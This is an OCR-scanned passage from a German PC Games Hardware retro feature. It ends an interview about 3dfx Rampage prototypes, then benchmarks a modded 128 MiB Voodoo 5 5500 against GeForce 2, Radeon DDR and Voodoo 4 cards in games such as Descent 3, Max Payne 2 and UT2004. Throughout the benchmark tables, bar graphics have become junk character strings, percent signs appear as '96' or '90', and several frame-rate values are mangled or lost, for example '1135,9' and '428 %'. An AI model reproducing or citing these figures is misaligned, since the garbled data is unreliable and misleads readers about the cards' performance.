Prototypen des Specter 1000 [Anmerkung: 1x Rampage GPU, kein Sage-T&L-Chip], was 
mich mit Stolz und Freude erfüllt — siehe das Bild oben. 


Kurios und vor allem rückblickend bedauerlich ist, dass keiner der wenigen Rampage-Be- 
sitzer auf die Idee kam, mit den anderen ein Team zu bilden. Jeder arbeitete für sich, 
was den Prozess und Erkenntnisgewinn verlangsamte. Mittlerweile haben wir aber große 
Fortschritte gemacht. Zunächst haben wir den Speicher von 16 auf 32/64 MiB vergrößert 
und anschließend GPU, RAM und Timings beschleunigt [Anmerkung: Der frühe Prototyp 
ist weit von Serienausstattung und -takt entfernt]. Nun haben wir einen wirklich stabilen 
Treiber, der mit zahlreichen Spielen der 3dfx-Ära kompatibel ist. Derzeit liegt das Projekt 
jedoch auf Eis, da uns immer noch eine Dokumentation der Rampage-Register fehlt. 


PCGH: Möchtest du uns sonst noch etwas mitteilen? 


Oscar: Es gibt noch so viele Geschichten und Informationen! Wenn eure Leser interes- 
siert sind, kann ich sehr gerne zahllose Fotos, Anekdoten und mehr liefern. 


PCGH: Vielen Dank für das Interview, Oscar! 
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Descent 3 (1999): Pre-Millennium-Workload 


Descent 3, maximale Details, 640х480х16 - „Secret2-Timedemo” 


V5 5500/128M OC (205/205 MHz) Pe 119,3 (+21 %) 

GF2 Ultra/64M (250/460 MHz) Egg eu 366,4 (+6 96) 
GF2 GTS/32M (200/333 MHz) ERR [m 354,7 (+2 %) 
V5 5500/64M (166/166 MHz) E NSW 347 2 (Basis) 

V5 5500/128M (166/166 MHz) aww ШЕШЕНЕ 346,9 (-0 90) 

Rad. DDR/32M (164/328 MHz) Eaque 329,1 (-5 %) 
GF2 MX/32M (175/166 MHz) Ee 244,7 (-30 96) 
V4 4500/32M (166/166 MHz) Em pu 195,3 (-44 96) 

Descent 3, maximale Details, 1.024x768x16 – „Secret2-Timedemo” 


GF2 Ultra/64M (250/460 MHz) Es pw 257,9 (+56 96) 
V5 5500/128M OC (205/205 MHz) ВЭ EEE 206,2 (+25 %) 
Rad. DDR/32M (164/328 MHz) ВОЗ Ew 205,2 (+25 96) 
GF2 GTS/32M (200/333 MHz) EEE) pou 204,9 (+24 %) 
V5 5500/128M (166/166 MHz) Fragen 165,3 (+0 96) 
V5 5500/64M (166/166 MHz) ВО E 164,8 (Basis) 
GF2 MX/32M (175/166 MHz) ASIEN 103,9 (-37 %) 
V4 4500/32M (166/166 MHz) Б ЕЗШЕ 85,6 (-48 96) 


Descent 3, maximale Details, 1.600х1.200х16 - ,,Secret2-Timedemo" 


GF2 Ultra/64M (250/460 MHz) Lët ees 120,2 (+69 %) 
Rad. DDR/32M (164/328 MHz) ЖБ ШШЕН 96,1 (+35 90) 
V5 5500/128M OC (205/205 MHz) ВЕБЕ 90,1 (+27 96) 
GF2 GTS/32M (200/333 MHz) Wë 89,9 (+26 96) 
V5 5500/128M (166/166 MHz) ВЕ 71,2 (+0 96) 
V5 5500/64M (166/166 MHz) ВЕ 71,2 (Basis) 
GF2 MX/32M (175/166 MHz) MAH 43,8 (-38 96) 
V4 4500/32M (166/166 MHz) @ 1135,9 (-50 %) 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 
Windows XP x86 SP3, SFFT 1.9 (Voodoo), Gef. 71.84 (Geforce), Cat. 6.11 (Radeon) 
Bemerkungen: Voodoo = Glide-API, Geforce/Radeon = Open-GL-API 


Mimi 2 Fps 
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Expendable (1999): Voodoo 5 hält gut mit 


Expendable, maximale Details, 1.024х768х32 - „Capital City (Mission 1)" 


GF2 Ultra/64M (250/460 MHz) gat 63,9 (+5 96) 
V5 5500/128M OC (205/205 MHz) aaa 63.9 (+5 %) 
GF2 GTS/32M (200/333 MHz) Egg [e 61,3 (+1 96) 
V5 5500/128M (166/166 MHz) BEE 60,6 (+0 96) 
V5 5500/64M (166/166 MHz) mwa, EREIIGDTFIOII 60,6 (Basis) 
GF2 MX/32M (175/166 MHz) Egan ew 41,8 (-31 96) 
V4 4500/32M (166/166 MHz) EEE ES 32,4 (-47 %) 
Rad. DDR/32M (164/328 MHz) Fraps versagt 
Expendable, maximale Details, 1.600x1.200x16 — , Capital City (Mission 1)" 


GF2 Ultra/64M (250/460 MHz) gat 63,9 (+16 96) 
V5 5500/128M OC (205/205 MHz) BEES I 63,0 (+14 96) 
GF2 GTS/32M (200/333 MHz) Egg eu 60,8 (+10 96) 
V5 5500/64M (166/166 MHz) Ta“ НЕ 55, 1 (Basis) 
V5 5500/128M (166/166 MHz) www I 55,0 (-0 96) 
GF2 MX/32M (175/166 MHz) Egg peu 40,3 (-27 %) 
V4 4500/32M (166/166 MHz) Emu 29,2 (-47 %) 
Rad. DDR/32M (164/328 MHz) Fraps versagt 
Expendable, maximale Details, 1.600x1.200x32 – „Capital City (Mission 1)" 


GF2 Ultra/64M (250/460 MHz) Egi pu 46,2 (+53 %) 
V5 5500/128M OC (205/205 MHz) P [I 36,8 (+22 96) 
V5 5500/128M (166/166 MHz) BEE 30,7 (+2 96) 
) 
) 


V5 5500/64M (166/166 MHz) Ta s l 30,1 (Basis) 
GF2 GTS/32M (200/333 MHz) E 29,7 (-1 %) 
GF2 MX/32M (175/166 MHz) EIE 17,1 (-43 96) 

V4 4500/32M (166/166 MHz) EEE 14,9 (-50 96) 
Rad. DDR/32M (164/328 MHz) Fraps versagt 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; Win 
XP x86 SP3, SFFT 1.9 (Voodoo), Gef. 71.84 (Geforce), Cat. 6.11 (Radeon) Bemerkungen: 
Wegen des 64-Fps-Limits der Engine steigen wir erst bei 768p in 32 Bit ein. 
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Der eigens für Retro-Tests zusam- 
mengestellte PC zeigt die Leistung 
der 2000er-Grafikkarten ohne 
Prozessorlimit, da er ungefähr die 
dreifache Leistung zeitgenössi- 
scher High-End-Chips erreicht. Mit 
dieser Kraft im Rücken geben sich 
alle anderen, bisher unbeachteten 
Flaschenhälse zu erkennen. Auch 
Sie werden angesichts so mancher 
Ergebnisse staunen, versprochen! 


Die Frage nach dem Sinn, 16 Jahre 
alte Grafikkarten erneut und mit 
diesem Aufwand zu testen, möch- 
ten wir nicht nur mit „Weil wirs 
können!“ beantworten, es steckt 
mehr dahinter. Zum einen ist es 
Neugier, wie sich die Machtver- 
hältnisse ohne CPU-Bremse ent- 
wickeln. Besonderes Augenmerk 
gilt dabei unserem Ehrengast und 
Aufhänger der ganzen Aktion, ei- 
ner Voodoo 5 5500 AGP mit ver- 
doppelter Speicherkapazität und 
hohem Taktpotenzial. 3dfx-Fans ha- 
ben Mittel und Wege gefunden, die 
altehrwürdige Hardware aufzumö- 
beln. Unser Proband stemmt bis zu 
210 MHz Taktfrequenz, 26 Prozent 
mehr als Standardkarten. Sie erin- 
nern sich: 200 MHz wurden von 
3dfx angepeilt. Die Benchmarks 
geben Aufschluss darüber, ob das 
Taktplus etwas an der Grundaussa- 
ge ändert, dass die Geforce 2 GTS 
das schnellere Produkt ist. 


Was die verdoppelte Speichermen- 
ge auf 64 MiByte pro Chip angeht, 
hatte 3dfx tatsächlich Pläne in 
Form der V4 4800 und V5 5800, 
weshalb wir unsere Mod-Karte 
eingangs „V5 5900“ getauft haben. 
Für wann diese Modelle geplant 
waren, ist unklar. Spannender und 
weitgehend unter dem Radar der 
Öffentlichkeit geblieben ist, dass 
3dfx in den letzten Tagen auch am 
VSA-101 alias „Daytona“ gearbeitet 
hat. Dahinter steckt ein Shrink des 
VSA-100 von 250 auf 180 nm Struk- 
turbreite mit Unterstützung für 
DDR-RAM. Die äußerst raren Pro- 
totypen der Voodoo 4-2 4200 wer- 
den laut Sammlern nur handwarm 
- ohne Kühler! - und sollten 3dfx’ 
Lowcost-/OEM-Grafikkarten des 
Jahres 2001 werden - móglicher- 
weise auch mit 64 MiByte. 


Tests von 1999 bis 2005 

Bei den Benchmarks vermengen 
wir die damals populären Timede- 
mos mit modernen Fraps-Messun- 


gen - inklusive Frametime-Verläu- 
fen, die anno 2000 noch niemand 
anfertigte. Timedemos sind, so be- 
liebt sie damals waren, nur Replays 
des Spielgeschehens und somit 
nicht 100-prozentig praxisnah - sie 
sind aber der einzige Weg, auch 
Low-Level-Schnittstellen wie 3dfx- 
Glide 1:1 mit Direct 3D und Open 
GL zu vergleichen. 


Die meisten Benchmarks basieren 
auf speziell für diesen Test evalu- 
ierten Szenen sowohl zeitgenössi- 
scher als auch wesentlich neuerer 
Spiele. Wir haben die Titel zum 
Wohle der Übersicht mit ihrem 
Erscheinungsjahr versehen und 
chronologisch sortiert. Alle Spie- 
le ab 2001 erschienen nach den 
Testkarten, ebenso das verwendete 
Betriebssystem Windows XP sowie 
die herangezogenen Treiber; wir 
verwenden die jeweils letzten von 
AMD und Nvidia veróffentlichten 
Versionen. Bei 3dfx ist die Situation 
eine andere: Die Firma schloss ein 
Dreivierteljahr vor dem Erscheinen 
von Windows XP ihre Pforten und 
hat demzufolge niemals passen- 
de Treiber veróffentlicht. Dass XP 
dennoch die beste Wahl zum Spie- 
len neuerer Titel auf einer Voodoo 
darstellt, ist einzig und allein Fans 
zu verdanken - allen voran dem 
Briten „SFFT“, welcher bis 2011 am 
gleichnamigen Treiber feilte. Die 
Basis dafür bildet der ins Internet 
gelangte Quellcode des 3dfx'schen 
Windows-2000-Treibers. 


Benchmarks: Settings 

Im Jahr 2000 sahen die Pixel an- 
ders aus. Während wir heute von 
HDR-Wiedergabe schwärmen, 
blickte ein Großteil der Spieler 
damals noch auf einen Röhrenbild- 
schirm und spielte mit 16 Bit Farb- 
tiefe. 32 Bit war - trotz des 1998 
von Nvidia losgetretenen Rummels 
- ein sehr teurer Spaß, in der Regel 
brach die Bildrate in derselben Auf- 
lösung um 30 bis 50 Prozent ein - 
und wenn nicht, herrschte schlicht 
ein CPU-Limit vor. In den meisten 
Spielen stand der optische Gewinn 
in keinem vertretbaren Verhältnis 
dazu, vor allem für 3dfx-Nutzer, die 
dank des 22-Bit-Filters weniger von 
Rundungsfehler-Artefakten geplagt 
wurden als andere. 


1.600 x 1.200 mit 32 Bit Farbtiefe 


war das Ultra HD der Jahrtausend- 
wende: Nur die schnellsten Gra- 


www.pcgameshardware.de 


Retro Voodoo 5 | GRAFIKKARTEN 


NFS: Porsche (2000): Schón und anspruchsvoll 


Wikingerspiel (2000): Glide-API dominiert 


Need for Speed Porsche, max. Details, 640x480x16 – „Schwarzwald rückwärts” 


GF2 Ultra/64M (250/460 MHz) sg pu 71,3 (+9 %) 
V5 5500/128M OC (205/205 MHz) as 675 (+3 96) 

V5 5500/128M (166/166 MHz) БО ШШ 66,0 (+1 96) 
V5 5500/64M (166/166 MHz) aww 65,6 (Basis) 

Rad. DDR/32M (164/328 MHz) Egi s 65,6 (-0 90) 
GF2 GTS/32M (200/333 MHz) НН 62,8 (-4 %) 
V4 4500/32M (166/166 MHz) ВО ШЕЕ 58,3 (-11 96) 
GF2 MX/32M (175/166 MHz) Egi 38,6 (-41 96) 

Need for Speed Porsche, max. Details, 1.024x768x32 - „Schwarzwald rückwärts” 


GF2 Ultra/64M (250/460 MHz) og E 60,6 (+68 %) 
V5 5500/128M OC (205/205 MHz) amaya EI 44,9 (+24 %) 

GF2 GTS/32M (200/333 MHz) EXE E 43,4 (+20 96) 

V5 5500/128M (166/166 MHz) BE 36,5 (+1 96) 
V5 5500/64M (166/166 MHz) SSEÇIÇICIIGTTGFNçIƏISIIIHƏ2IxI 36,1 (Basis) 

Rad. DDR/32M (164/328 MHz) Egi 35,6 (-1 96) 
GF2 MX/32M (175/166 MHz) ES ШЕШШ 25,5 (-29 %) 
V4 4500/32M (166/166 MHz) EHEM 18,7 (-48 96) 

Need for Speed Porsche, max. Details, 1.600x1.200x16 - „Schwarzwald rückwärts” 


GF2 Ultra/64M (250/460 MHz) [aan po 36,7 (+30 96) 
V5 5500/128M OC (205/205 MHz) SSSEIgKI I IIN,ƏIWIIIƏIGAWI,,S (+26 %) 
V5 5500/128M (166/166 MHz) EZ EN 29,1 (+3 %) 
GF2 GTS/32M (200/333 MHz) En eu 28,5 (+1 96) 
V5 5500/64M (166/166 MHz) ENSIS 28,2 (Basis) 

) 

) 

) 


Rad. DDR/32M (164/328 MHz) ES 24,4 (-13 96) 
V4 4500/32M (166/166 MHz) ët 14,0 (-50 96) 
GF2 MX/32M (175/166 MHz) ИЙБЕШ 13,3 (-53 %) 


Wikingerspiel mit UT-Engine, max. Details, 640x480x16 – , Thorstadt-Timedemo" 


V5 5500/128M OC (210/210 MHz) Tas 155,5 (+2 96) 
V5 5500/64M (166/166 MHz) Fe 152, 6 (Basis) 
V5 5500/128M (166/166 MHz) eg 152,3 (-0 %) 
V4 4500/32M (166/166 MHz) EX 150,0 (-2 96) 
Rad. DDR/32M (164/328 MHz) E 114,7 (-25 %) 
GF2 Ultra/64M (250/460 MHz) Eu 90,3 (41 96) 
GF2 GTS/32M (200/333 MHz) Ew 90,1 (-41 96) 
GF2 MX/32M (175/166 MHz) EXER 85,6 (-44 %) 


Wikingerspiel mit UT-Engine, max. Details, 1.024x768x16 - „Thorstadt-Timedemo” 


V5 5500/128M OC (210/210 MHz) Tas 146,7 (+4 %) 

V5 5500/64M (166/166 MHz) mwa 141,3 (Basis) 

V5 5500/128M (166/166 MHz) awas 141,2 (-0 96) 

Rad. DDR/32M (164/328 MHz) ERR 108,8 (-23 %) 
V4 4500/32M (166/166 MHz) Eu 88,8 (-37 96) 

GF2 Ultra/64M (250/460 MHz) | 85,4 (-40 96) 
GF2 GTS/32M (200/333 MHz) EXER 84,7 (-40 96) 
GF2 MX/32M (175/166 MHz) EX 64,5 (-54 96) 

Wikingerspiel mit UT-Engine, max. Details, 1.600x1.200x16 - , Thorstadt-Timedemo" 


V5 5500/128M OC (210/210 MHz) P 94,6 (+27 %) 
V5 5500/64M (166/166 MHz) aa aa 74,5 (Basis) 

V5 5500/128M (166/166 MHz) EEE 74,3 (-0 96) 

Rad. DDR/32M (164/328 MHz) E 73,6 (-1 %) 
GF2 Ultra/64M (250/460 MHz) E 68,2 (-8 9) 
) 
) 
) 


GF2 GTS/32M (200/333 MHz) Eu 61,1 (-18 96) 
V4 4500/32M (166/166 MHz) EX 37,8 (-49 96) 
GF2 MX/32M (175/166 MHz) Eu 37,7 (49 %) 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 
Windows XP x86 SP3, SFFT 1.9 (Voodoo), Gef. 71.84 (Geforce), Cat. 6.11 (Radeon) 
Bemerkungen: Die API ist Direct 3D. Die Voodoos kónnen auBerdem Glide verwenden. 
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» Besser 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 
Win XP x86 SP3, SFFT 1.9, Gef. 71.84, Cat. 6.11 Bemerkungen: Die 3dfx'sche Low- 
Level-API Glide erlaubt ungeahnt hohe Fps gegenüber Direct 3D auf den anderen Chips. 


Mimil 2 Fps 


» Besser 


American McGee's Alice (2000): Füllratentest 


Sacrifice (2000): Sehr AGP- und T&L-lastig 


American McGee's Alice, max. Details, 640x480x16 – „Curiosity-Timedemo” 


GF2 Ultra/64M (250/460 MHz) 159,6 (+66 %) 
GF2 GTS/32M (200/333 MHz) Ew 123,3 (428 %) 
V5 5500/128M OC (205/205 MHz) ESSEN 111,2 (+15 96) 
V5 5500/64M (166/166 MHz) EEE 96,4 (Basis) 
V5 5500/128M (166/166 MHz) EN 96,3 (-0 %) 
GF2 MX/32M (175/166 MHz) Ew 74,8 (-22 %) 
Rad. DDR/32M (164/328 MHz) EX 63,2 (-34 %) 
V4 4500/32M (166/166 MHz) Eu 54,6 (-43 %) 
American McGee's Alice, max. Details, 1.024x768x32 – „Curiosity-Timedemo” 


GF2 Ultra/64M (250/460 MHz) pu 47,0 (+60 %) 
V5 5500/128M OC (205/205 MHz) BI 36,2 (+23 %) 
GF2 GTS/32M (200/333 MHz) EX 32,7 (+11 96) 
V5 5500/128M (166/166 MHz) B 29,5 (+0 96) 
V5 5500/64M (166/166 MHz) EEE 29,4 (Basis) 
Rad. DDR/32M (164/328 MHz) EEE 25,9 (-12 %) 
GF2 MX/32M (175/166 MHz) ШШ 20,1 (-32 %) 
V4 4500/32M (166/166 MHz) EX 14,6 (-50 96) 


American McGee's Alice, max. Details, 1.600x1.200x16 – ,, Curiosity-Timedemo" 


GF2 Ultra/64M (250/460 MHz) Eu 32,2 (+73 %) 
V5 5500/128M OC (205/205 MHz) WIL 23,3 (+25 96) 
GF2 GTS/32M (200/333 MHz) E 22,7 (+22 %) 
V5 5500/128M (166/166 MHz) В 18,8 (+1 %) 
V5 5500/64M (166/166 MHz) В 18,6 (Basis) 
) 
) 
) 


GF2 MX/32M (175/166 MHz) ШЙ 13,0 (-30 96) 
Rad. DDR/32M (164/328 MHz) ВЕ 11,6 (-38 96) 
V4 4500/32M (166/166 MHz) IE 9,5 (-49 %) 


Sacrifice, max. Details außer Bump-Mapping, 640x480x16 — ,E3-Szenario" 


GF2 Ultra/64M (250/460 MHz) Rn p 77,8 (+109 96) 
GF2 GTS/32M (200/333 MHz) Esa 64,6 (+74 96) 

Rad. DDR/32M (164/328 MHz) ВЕСОВ 60,8 (+63 96) 
GF2 MX/32M (175/166 MHz) Egg ШЕШШ 47,2 (27 %) 

V5 5500/128M OC (210/210 MHz) EIU II 37,5 (+1 96) 

V5 5500/128M (166/166 MHz) Fee ШЕШ 37,3 (+0 %) 
V5 5500/64M (166/166 MHz) EE 37,2 (Basis) 
V4 4500/32M (166/166 MHz) Egg ШШ 36,7 (-1 %) 


Sacrifice, max. Details außer Bump-Mapping, 1.024x768x32 - ,E3-Szenario" 


GF2 Ultra/64M (250/460 MHz) awwwwSwEsIWGIZID55,8 (+68 96) 
GF2 GTS/32M (200/333 MHz) EX ШЕШШ 44,1 (+32 %) 

Rad. DDR/32M (164/328 MHz) Eam E 39,4 (+18 90) 

V5 5500/128M OC (210/210 MHz) ESO II 35,3 (+6 %) 

V5 5500/128M (166/166 MHz) ОВ 33,4 (+0 %) 
V5 5500/64M (166/166 MHz) EIGEN 33,3 (Basis) 
GF2 MX/32M (175/166 MHz) Ease 29,3 (-12 %) 
V4 4500/32M (166/166 MHz) Ee es 21,6 (-35 96) 


Sacrifice, max. Details außer Bump-Mapping, 1.600x1.200x16 — ,,E3-Szenario" 


GF2 Ultra/64M (250/460 MHz) wa ШЕШШ 42,4 (+59 96) 
GF2 GTS/32M (200/333 MHz) Eas ps 32,8 (+23 %) 
V5 5500/128M OC (210/210 MHz) IEEE 30,9 (+16 %) 
V5 5500/128M (166/166 MHz) Ber 26,8 (+0 96) 
V5 5500/64М (166/166 MHz) Pap 26,7 (Basis) 
) 
) 
) 


Rad. DDR/32M (164/328 MHz) Eis 22,4 (-16 %) 
GF2 MX/32M (175/166 MHz) ES ES 20,2 (-24 %) 
V4 4500/32M (166/166 MHz) ВЕ В 15,3 (-43 %) 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 
Win XP x86 SP3, Wicked GL 3.02 (forced FXT1), Gef. 71.84, Cat. 6.11 Bemerkungen: 
Kein Spiel im Test skaliert so stark mit den Pixeln wie Alice — die Detailtexturen sind schuld. 


Mimil Ерѕ 


» Besser 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 


Win XP x86 SP3, SFFT 1.9, Gef. 71.84, Cat. 6.11 Bemerkungen: Als eines der ersten Mimil 2 Fps 


» Besser 


T&L-Spiele zeigt Sacrifice die Vorteile eines entsprechenden Rechenwerks deutlich. 
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Giants (2001): AGP- und T&L-lastig 


UT2004 (2004): High-Poly-Benchmark 


Giants, max. Details außer Bump Mapping, 640x480x32 - „Mecc Story 2“ 


GF2 Ultra/64M (250/460 MHz) gr pu 95,3 (+98 %) 
GF2 GTS/32M (200/333 MHz) 73,5 (4-53 96) 

Rad. DDR/32M (164/328 MHz) Egi 54,2 (+13 96) 

V5 5500/128M OC (210/210 MHz) EB 533 (+11 96) 

GF2 MX/32M (175/166 MHz) Em E 50,5 (+5 96) 
V5 5500/64M (166/166 MHz) EEE] 8 48,1 (Basis) 

V5 5500/128M (166/166 MHz) ESS EN 43,0 (-0 96) 
V4 4500/32M (166/166 MHz) Е 33,3 (31 %) 


Giants, max. Details außer Bump Mapping, 1.024x768x32 — „Mecc Story 2" 


GF2 Ultra/64M (250/460 MHz) Ign ШЕШ 61,9 (+82 96) 
GF2 GTS/32M (200/333 MHz) EEE ШЕШ 45,2 (+33 96) 
V5 5500/128M ОС (210/210 MHz) IIS II 38,9 (+14 %) 
Rad. DDR/32M (164/328 MHz) Egi 35,1 (+3 96) 
V5 5500/128M (166/166 MHz) ВЕ 34,2 (+0 96) 
V5 5500/64M (166/166 MHz) SSEIIIIEI FEFOIŠ!əIICIJ$IASOa)Y. (Basis) 
GF2 MX/32M (175/166 MHz) Es 28,3 (-17 96) 
V4 4500/32M (166/166 MHz) [SII 19,3 (-43 96) 


Giants, max. Details außer Bump Mapping, 1.600x1.200x32 - „Mecc Story 2" 


GF2 Ultra/64M (250/460 MHz) MEE 33,5 (+97 96) 

GF2 GTS/32M (200/333 MHz) EM 21,5 (+26 96) 
V5 5500/128M OC (210/210 MHz) PER 20,1 (+18 96) 

Каа. DDR/32M (164/328 MHz) ВЕ 8 19,9 (+17 96) 

V5 5500/128M (166/166 MHz) EI 17,6 (+4 96) 
V5 5500/64M (166/166 MHz) ВЗ 17,0 (Basis) 
GF2 MX/32M (175/166 MHz) ВОЙ 12,8 (-25 96) 
V4 4500/32M (166/166 MHz) 8818 8,6 (-49 %) 


UT2004, maximale Details, 640x480x16 — „Antalus Walk-thru" 


GF2 Ultra/64M (250/460 MHz) Eus; e 60,5 (+32 96) 
V5 5500/128M OC (210/210 MHz) P IEEE 45, 8. (+0 90) 
V5 5500/64M (166/166 MHz) DE NW 45,7 (Basis) 
V5 5500/128M (166/166 MHz) WE I 45,5 (-0 96) 
GF2 GTS/32M (200/333 MHz) ЗД En 45,2 (-1 96) 
Rad. DDR/32M (164/328 MHz) Ea peu 45,0 (-2 90) 
V4 4500/32M (166/166 MHz) 26 pu 39,6 (-13 96) 
GF2 MX/32M (175/166 MHz) Egg ШЕШШ 27,9 (-39 96) 


UT2004, maximale Details, 1.024x768x16 - „Antalus Walk-thru" 


GF2 Ultra/64M (250/460 MHz) |a pes 48,6 (+46 %) 
V5 5500/128M OC (210/210 MHz) ger been 39,0 (+17 96) 
GF2 GTS/32M (200/333 MHz) Egi p 36,9 (+11 %) 
V5 5500/64M (166/166 MHz) Taal I 33,2 (Basis) 
V5 5500/128M (166/166 MHz) Page III 33,1 (-0 96) 
Rad. DDR/32M (164/328 MHz) agr 25,7 (-23 %) 
GF2 MX/32M (175/166 MHz) EISEN 22,4 (-33 %) 
V4 4500/32M (166/166 MHz) ge 19,8 (-40 96) 


UT2004, maximale Details, 1.600x1.200x16 — „Antalus Walk-thru" 


GF2 Ultra/64M (250/460 MHz) Ege 24,7 (+58 96) 
V5 5500/128M OC (210/210 MHz) Pe 20,4 (+31 96) 
GF2 GTS/32M (200/333 MHz) EEE 18,0 (+15 %) 
V5 5500/128M (166/166 MHz) SSII GIGIGI€IEII 16,2 (+4 96) 
V5 5500/64M (166/166 MHz) FE 15,6 (Basis) 
Rad. DDR/32M (164/328 MHz) О 12,8 (-18 96) 
GF2 MX/32M (175/166 MHz) EA 10,2 (-35 96) 
V4 4500/32M (166/166 MHz) II 8,5 (-46 96) 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 
Win XP x86 SP3, SFFT 1.9, Gef. 71.84, Cat. 6.11 Bemerkungen: Die Testszene bietet 
eine hohe Sichtweite und somit reichlich Polygondurchsatz — schlecht für die 3dfx-Chips. 


Mimil 2 Fps 


» Besser 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 
Win XP x86 SP3, SFFT 1.9, Gef. 71.84, Cat. 6.11 Bemerkungen: UT2004 profitiert stark 
von HW-T&L (Min-Fps), aber auch von hoher Speichertransferrate. In 1200p helfen 64 MiB. 


Mimil 2 Fps 


» Besser 


Max Payne 2 (2003): 64 MiByte lohnen sich 


Dungeon Siege 2 (2005): Flaschenhals AGP 


Max Payne 2, max. Details außer Shader, 640x480x32 — „Elevator Doors” 


GF2 Ultra/64M (250/460 MHz) sg БЕШ 102,8 (+50 %) 
GF2 GTS/32M (200/333 MHz) a 73,3 (+7 %) 
V5 5500/128M OC (205/205 MHz) ШСЗ Н 69,2 (+1 96) 
V5 5500/128M (166/166 MHz) WE NI 68,8 (+0 %) 
V5 5500/64M (166/166 MHz) ES НН 68,7 (Basis) 
GF2 MX/32M (175/166 MHz) Egi p 62,1 (-10 96) 
V4 4500/32M (166/166 MHz) a nmv DxXmMIII ЕШ 61,7 (-10 96) 
Rad. DDR/32M (164/328 MHz) Eg p 47,2 (-31 %) 
Max Payne 2, max. Details außer Shader, 1.024x768x32 - „Elevator Doors" 
GF2 Ultra/64M (250/460 MHz) Egan E 75,6 (+44 96) 
V5 5500/128M OC (205/205 MHz) ВЗН 63,6 (+21 96) 
V5 5500/128M (166/166 MHz) EZB] EN 52,5 (+0 96) 
V5 5500/64M (166/166 MHz) EE 52,4 (Basis) 
) 
) 
) 
) 


GF2 GTS/32M (200/333 MHz) EEE 45,6 (-13 96) 
GF2 MX/32M (175/166 MHz) Eae 31,2 (40 %) 
Rad. DDR/32M (164/328 MHz) MEMEEZ px 30,3 (-42 %) 

V4 4500/32M (166/166 MHz) MEMEEZ 28,0 (-47 96) 


Max Payne 2, max. Details außer Shader, 1.600x1.200x32 – , Elevator Doors" 


GF2 Ultra/64M (250/460 MHz) 9s 34,6 (+91 96) 
V5 5500/128M OC (205/205 MHz) ISI 29,1 (+61 96) 

V5 5500/128M (166/166 MHz) ISIN 22,9 (+27 %) 

GF2 GTS/32M (200/333 MHz) ISIN 21,8 (+20 96) 

V5 5500/64M (166/166 MHz) В 18,1 (Basis) 

GF2 МХ/З2М (175/166 MHz) В 13,4 (-26 96) 

Rad. DDR/32M (164/328 MHz) 818 9,7 (-46 %) 

V4 4500/32M (166/166 MHz) #818 9,3 (-49 96) 


Dungeon Siege 2 max. Details ohne Shader, 800x600x16 - „Greilyn (Mission 1)" 


GF2 Ultra/64M (250/460 MHz) ER e 47 8 (+90 96) 
GF2 GTS/32M (200/333 MHz) ВОВ 46,7 (+85 96) 
GF2 MX/32M (175/166 MHz) m8RKKCKII.IIIIOIIIIII IG IHIIFGIəITƏS—II ZIIISIOəeəEImX) 

Rad. DDR/32M (164/328 MHz) Egi ШЕШШ 44,6 (4-77 9b) 
V4 4500/32M (166/166 MHz) Egi pu 28,2 (+12 96) 
V5 5500/64M (166/166 MHz) Page 25,2 (Basis) 

V5 5500/128M OC (210/210 MHz) EEE EN 25,2 (-0 96) 
V5 5500/128M (166/166 MHz) BEE 25,1 (-0 96) 


Dungeon Siege 2, max. Details ohne Shader, 1.024x768x32 - ,,Greilyn (Mission 1)" 


GF2 Ultra/64M (250/460 MHz) Egi i 46,8 (+93 %) 
GF2 GTS/32M (200/333 MHz) ЗО ШЕШШ 44,1 (+82 96) 
Rad. DDR/32M (164/328 MHz) Ei p: 39,2 (+62 %) 
GF2 MX/32M (175/166 MHz) Egan pu 29,9 (+24 %) 
V4 4500/32M (166/166 MHz) EX E 25,6 (+6 96) 
V5 5500/128M OC (210/210 MHz) IEEE 24,5 (+1 %) 
V5 5500/128M (166/166 MHz) EIS EN 24,3 (+0 %) 
V5 5500/64M (166/166 MHz) EIS] ИШЕ 24,2 (Basis) 


Dungeon Siege 2, max. Details ohne Shader, 1.280x1.024x32 - „Greilyn (Mission 1)” 


GF2 Ultra/64M (250/460 MHz) Vo ШЕШШ 42,9 (+92 96) 
GF2 GTS/32M (200/333 MHz) Egan p 30,1 (+34 96) 
Rad. DDR/32M (164/328 MHz) Egi pw 28,2 (+26 %) 
V5 5500/128M OC (210/210 MHz) EIS 22,6 (+1 96) 

V5 5500/128M (166/166 MHz) EBEN 22,5 (+0 96) 
) 
) 
) 


V5 5500/64M (166/166 MHz) NIT EN 22,4 (Basis) 
GF2 MX/32M (175/166 MHz) Epp 19,0 (-15 96) 
V4 4500/32M (166/166 MHz) ЖШШЕ 88 15,5 (-31 %) 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; 
Win XP x86 SP3, SFFT 1.9, Gef. 71.84, Cat. 6.11 Bemerkungen: In 480p vollständig 
AGP-limitiert, blühen die V5-Karten ab 768p auf. In 1200p lohnen sich 64 MiB eindeutig. 


Mimil @ Fps 


» Besser 


System: Pentium M (Dothan) @ 2,6 GHz, Asrock M266A v3.0, 2 x 512 MiB DDR-260; Win 
XP x86 SP3, SFFT 1.9, Gef. 71.84, Cat. 6.11 Bemerkungen: Die mit AGP 4x ausgestattete 
V4 4500 zieht bis 768p an den V5-Karten vorbei (!) — der Polygon-Worstcase des Tests. 


Mimil Ø Fps 


» Besser 
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fikkarten erreichen spielbare Bildraten. 
Wir garnieren diese Pixel-Königsklasse 
4 x 768 sowie 
0 х 480 mit je 


mit den Auflösungen 1 
- für High-Fps-Gamer - 
nach Spiel sinnvoller Farbtiefe. 


Benchmark-Analyse 

Das große Spektrum an Spielen und die 
dramatisch veränderten Anforderungen 
im Laufe der Jahre fördert spannen- 
de Ergebnisse zutage. Für den Anfang 
wichtig zu wissen: Eine V5 5500 bietet 
die doppelte Rohleistung einer V4 4500 
und sollte daher auch immer doppelt 
